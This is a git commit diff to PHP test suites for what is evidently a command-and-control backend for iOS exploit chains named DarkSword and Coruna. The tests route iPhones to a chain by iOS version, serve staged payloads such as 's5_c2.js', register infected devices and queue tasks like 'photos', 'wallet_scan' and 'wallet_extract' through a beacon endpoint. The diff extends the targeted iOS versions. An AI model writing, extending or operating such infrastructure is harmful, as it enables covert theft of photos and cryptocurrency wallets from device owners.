This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+151 -87
View File
@@ -20,6 +20,7 @@ use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Redis;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -28,12 +29,30 @@ class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
protected function setUp(): void
{
parent::setUp();
// Clear Redis-based beacon queue keys between tests.
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
continue;
}
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
Redis::del(...$stripped);
}
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
@@ -57,7 +76,7 @@ class DarkSwordC2ApiTest extends TestCase
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
@@ -75,11 +94,11 @@ class DarkSwordC2ApiTest extends TestCase
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
@@ -118,7 +137,25 @@ class DarkSwordC2ApiTest extends TestCase
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
@@ -127,7 +164,8 @@ class DarkSwordC2ApiTest extends TestCase
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
$this->get('/log.html?text=lab')->assertOk();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
@@ -136,28 +174,28 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk()
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$this->assertSame(0, DsChainLog::query()->count());
Device::query()->create([
'device_id' => '50624FE26CC4A0DF689EAEA117557C3E',
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'album_storage' => true,
]);
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
@@ -220,7 +258,7 @@ class DarkSwordC2ApiTest extends TestCase
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
@@ -235,7 +273,7 @@ class DarkSwordC2ApiTest extends TestCase
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
@@ -244,11 +282,11 @@ class DarkSwordC2ApiTest extends TestCase
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
@@ -256,13 +294,13 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
@@ -674,159 +712,185 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
$ip = '127.0.0.1';
// Simulate the 5s gap passing — only forget the throttle timestamp, NOT
// the alternation state (dsq:type), so the next dispatch alternates.
$forget = function () use ($ip): void {
Cache::forget('dsq:last:'.$ip);
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> wallet_scan.
// First dispatch -> photos (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_scan',
'uuid' => self::DS_LHU,
'type' => 'photos',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// Simulate the 5s gap passing; next dispatch alternates to wallet_extract.
$forget();
// After the 5s gap -> wallet_scan (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
// Within 5s again -> noop.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> back to wallet_scan.
$forget();
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'noop']);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// seed() created one wallet_scan task; dequeue no longer mutates task state.
$this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_scan')
->assertDontSee('photo_scan')
->assertDontSee('basic_info');
->assertSee('photos')
->assertSee('wallet_scan');
}
#[Test]
public function beacon_throttles_same_ip_within_5s_gap(): void
{
$ip = '127.0.0.1';
$uuid = self::DS_LHU;
// First dispatch -> wallet_scan.
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> photos (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'photos']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by forgetting the throttle key), the next
// beacon alternates to wallet_extract.
Cache::forget('dsq:last:'.$ip);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'status' => 'success',
])->assertOk();
// After a result + gap, the next beacon still dispatches (alternates back).
Cache::forget('dsq:last:'.$ip);
// Completed task results are recorded as DeviceEvent (日志 tab).
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'noop']);
}
#[Test]
public function beacon_skips_legacy_photos_task(): void
public function beacon_dispatches_fifo_from_redis_queue(): void
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photos',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 3,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
// Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched.
$queue = app(DsBeaconQueue::class);
// Add tasks in order: photos, photo_scan, wallet_scan.
$queue->addTask($device, 'photos');
$queue->addTask($device, 'photo_scan');
$queue->addTask($device, 'wallet_scan');
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
// Clear throttle to allow next dispatch.
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$this->assertSame(
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
);
$this->assertSame(
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status')
);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
+14 -4
View File
@@ -75,14 +75,19 @@ class PageVisitTest extends TestCase
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
['18_1_1', PageVisit::CHAIN_DARKSWORD, '18.1.1'],
['18_4', PageVisit::CHAIN_DARKSWORD, '18.4'],
['18_4_1', PageVisit::CHAIN_DARKSWORD, '18.4.1'],
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
['18_7', PageVisit::CHAIN_DARKSWORD, '18.7'],
['18_7_1', PageVisit::CHAIN_DARKSWORD, '18.7.1'],
['18_7_2', PageVisit::CHAIN_DARKSWORD, '18.7.2'],
['18_7_3', PageVisit::CHAIN_CORUNA, '18.7.3'],
];
foreach ($cases as [$token, $chain, $osVersion]) {
Cache::flush();
@@ -474,14 +479,19 @@ class PageVisitTest extends TestCase
['17.3', false],
['18.2', false],
['18.2.1', false],
['18.4', false],
['18.1.1', true],
['18.4', true],
['18.4.1', true],
['18.5', true],
['18.5.1', false],
['18.6', true],
['18.6.1', true],
['18.6.2', true],
['18.6.3', false],
['18.7', false],
['18.7', true],
['18.7.1', true],
['18.7.2', true],
['18.7.3', false],
];
foreach ($rows as $i => [$ver, $_]) {
PageVisit::query()->create([